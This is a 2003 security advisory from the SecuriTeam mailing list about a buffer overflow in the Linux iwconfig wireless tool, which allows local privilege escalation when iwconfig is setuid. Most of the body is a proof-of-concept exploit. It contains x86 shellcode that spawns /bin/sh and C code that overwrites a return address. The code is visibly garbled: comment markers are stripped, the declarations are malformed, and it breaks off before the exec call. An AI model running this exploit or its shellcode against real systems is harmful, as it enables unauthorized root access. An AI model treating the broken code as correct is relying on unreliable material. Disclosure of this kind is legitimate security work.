[EXPL] iwconfig Buffer Overflow Vulnerability

Type securityvulns
Reporter Securityvulns
Modified 2003-10-27T00:00:00


The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html

iwconfig Buffer Overflow Vulnerability


<http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Tools.html> iwconfig, a tool that allows you to configure a wireless network interface, contains an exploitable buffer overflow that allows local attackers to gain elevated privileges (if the iwconfig executable is setuid).


Exploit: / PST_iwconfig /sbin/iwconfig proof of concept exploit coded by aXis@ph4nt0m.net Ph4nt0m Security Team http://www.ph4nt0m.net just for fun /




/ Copyright (c) Ramon de Carvalho Valle July 2003 / / x86/linux shellcode /

char shellcode[]= / 24 bytes / "\x31\xc0" / xorl %eax,%eax / "\x50" / pushl %eax / "\x68\x2f\x2f\x73\x68" / pushl $0x68732f2f / "\x68\x2f\x62\x69\x6e" / pushl $0x6e69622f / "\x89\xe3" / movl %esp,%ebx / "\x50" / pushl %eax / "\x53" / pushl %ebx / "\x89\xe1" / movl %esp,%ecx / "\x99" / cltd / "\xb0\x0b" / movb $0x0b,%al / "\xcd\x80"; / int $0x80 /

int main(int argc,char **argv){ char buf[96]; unsigned long ret; int i;

char prog[]={"/sbin/iwconfig",buf,NULL}; char env[]={"HOME=/",shellcode,NULL};

ret=0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06; printf("use ret addr: 0x%x\n",ret);

memset(buf,0x41,sizeof(buf)); memcpy(&buf[92],&ret,4);




The information has been provided by <mailto:aXis@ph4nt0m.net> aXis.


This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com


DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.